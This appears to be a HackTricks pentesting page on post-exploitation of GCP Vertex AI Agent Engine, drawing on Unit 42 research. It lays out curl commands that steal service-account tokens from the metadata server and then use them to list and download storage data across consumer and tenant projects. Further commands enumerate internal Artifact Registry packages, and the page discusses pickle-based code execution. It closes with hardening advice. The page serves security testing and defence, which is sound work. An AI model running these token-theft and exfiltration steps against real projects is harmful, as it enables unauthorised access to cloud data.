# GCP - Vertex AI Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Vertex AI Agent Engine / Reasoning Engine

This page focuses on **Vertex AI Agent Engine / Reasoning Engine** workloads that run attacker-controlled tools or code inside a Google-managed runtime.

For the general Vertex AI overview check:

{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
{{#endref}}

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

{{#ref}}
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
{{#endref}}

### Why this service is special

Agent Engine introduces a useful but dangerous pattern: **developer-supplied code running inside a managed Google runtime with a Google-managed identity**.

The interesting trust boundaries are:

- **Consumer project**: your project and your data.
- **Producer project**: Google-managed project operating the backend service.
- **Tenant project**: Google-managed project dedicated to the deployed agent instance.

According to Google's Vertex AI IAM documentation, Vertex AI resources can use **Vertex AI service agents** as resource identities, and those service agents can have **read-only access to all Cloud Storage resources and BigQuery data in the project** by default. If code running inside Agent Engine can steal the runtime credentials, that default access becomes immediately interesting.

### Main abuse path

1. Deploy or modify an agent so attacker-controlled tool code executes inside the managed runtime.
2. Query the **metadata server** to recover project identity, service account identity, OAuth scopes, and access tokens.
3. Reuse the stolen token as the **Vertex AI Reasoning Engine P4SA / service agent**.
4. Pivot into the **consumer project** and read project-wide storage data allowed by the service agent.
5. Pivot into the **producer** and **tenant** environments reachable by the same identity.
6. Enumerate internal Artifact Registry packages and extract tenant deployment artifacts such as `Dockerfile.zip`, `requirements.txt`, and `code.pkl`.

This is not just a "run code in your own agent" issue. The key problem is the combination of:

- **metadata-accessible credentials**
- **broad default service-agent privileges**
- **wide OAuth scopes**
- **multi-project trust boundaries hidden behind one managed service**

## Enumeration

### Identify Agent Engine resources

The resource name format used by Agent Engine is:

```text
projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>
```

If you have a token with Vertex AI access, enumerate the Reasoning Engine API directly:

```bash
PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"
```

Check deployment logs because they can leak **internal producer Artifact Registry paths** used during packaging or runtime startup:

```bash
gcloud logging read \
  'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
  --project <project-id> \
  --limit 50 \
  --format json
```

The Unit 42 research observed internal paths such as:

```text
us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod
```

## Metadata credential theft from the runtime

If you can execute code inside the agent runtime, first query the metadata service:

```bash
curl -H 'Metadata-Flavor: Google' \
  'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'
```

Interesting fields include:

- project identifiers
- the attached service account / service agent
- OAuth scopes available to the runtime

Then request a token for the attached identity:

```bash
curl -H 'Metadata-Flavor: Google' \
  'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
```

Validate the token and inspect the granted scopes:

```bash
TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
  'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d "access_token=${TOKEN}" \
  https://www.googleapis.com/oauth2/v1/tokeninfo
```

> [!WARNING]
> Google changed parts of the ADK deployment workflow after the research was reported, so exact old deployment snippets might no longer match the current SDK. The important primitive is still the same: **if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path**.

## Consumer-project pivot: service-agent data theft

Once the runtime token is stolen, test the effective access of the service agent against the consumer project.

The documented risky default capability is broad **read access to project data**. The Unit 42 research specifically validated:

- `storage.buckets.get`
- `storage.buckets.list`
- `storage.objects.get`
- `storage.objects.list`

Practical validation with the stolen token:

```bash
curl -s \
  -H "Authorization: Bearer ${TOKEN}" \
  "https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
  -H "Authorization: Bearer ${TOKEN}" \
  "https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
  -H "Authorization: Bearer ${TOKEN}" \
  "https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"
```

This turns a compromised or malicious agent into a **project-wide storage exfiltration primitive**.

## Producer-project pivot: internal Artifact Registry access

The same stolen identity may also work against **Google-managed producer resources**.

Start by testing the internal repository URIs recovered from logs. Then enumerate packages with the Artifact Registry API:

```python
packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
    parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])
```

If you only have a raw bearer token, call the REST API directly:

```bash
curl -s \
  -H "Authorization: Bearer ${TOKEN}" \
  "https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"
```

This is valuable even if write access is blocked because it exposes:

- internal image names
- deprecated images
- supply-chain structure
- package/version inventory for follow-on research

For more Artifact Registry background check:

{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}

## Tenant-project pivot: deployment artifact retrieval

Reasoning Engine deployments also leave interesting artifacts in a **tenant project** controlled by Google for that instance.

The Unit 42 research found:

- `Dockerfile.zip`
- `code.pkl`
- `requirements.txt`

Use the stolen token to enumerate accessible storage and search for deployment artifacts:

```bash
curl -s \
  -H "Authorization: Bearer ${TOKEN}" \
  "https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"
```

Artifacts from the tenant project can reveal:

- internal bucket names
- internal image references
- packaging assumptions
- dependency lists
- serialized agent code

The blog also observed an internal reference like:

```text
gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip
```

Even when the referenced restricted bucket is not readable, those leaked paths help map internal infrastructure.

## `code.pkl` and conditional RCE

If the deployment pipeline stores executable agent state in **Python `pickle`** format, treat it as a high-risk target.

The immediate issue is **confidentiality**:

- offline deserialization can expose code structure
- the package format leaks implementation details

The bigger issue is **conditional RCE**:

- if an attacker can tamper with the serialized artifact before service-side deserialization
- and the pipeline later loads that pickle
- arbitrary code execution becomes possible inside the managed runtime

This is not a standalone exploit by itself. It is a **dangerous deserialization sink** that becomes critical when combined with any artifact write or supply-chain tampering primitive.

## OAuth scopes and Workspace blast radius

The metadata response also exposes the **OAuth scopes** attached to the runtime.

If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous.

If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:

{{#ref}}
../gcp-to-workspace-pivoting/README.md
{{#endref}}

## Hardening / detection

### Prefer a custom service account over the default managed identity

Current Agent Engine documentation supports setting a **custom service account** for the deployed agent. That is the cleanest way to reduce blast radius:

- remove dependence on the default broad service agent
- grant only the minimal permissions required by the agent
- make the runtime identity auditable and intentionally scoped

### Validate the actual service-agent access

Inspect the effective access of the Vertex AI service agent in every project where Agent Engine is used:

```bash
gcloud projects get-iam-policy <project-id> \
  --format json | jq '
    .bindings[]
    | select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
  '
```

Focus on whether the attached identity can read:

- all GCS buckets
- BigQuery datasets
- Artifact Registry repositories
- secrets or internal registries reachable from build/deployment workflows

### Treat agent code as privileged code execution

Any tool/function executed by the agent should be reviewed as if it were code running on a VM with metadata access. In practice this means:

- review agent tools for direct HTTP access to metadata endpoints
- review logs for references to internal `pkg.dev` repositories and tenant buckets
- review any packaging path that stores executable state as `pickle`

## References

- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/)
- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy)
- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control)
- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents)
- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp)
- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html)

{{#include ../../../banners/hacktricks-training.md}}
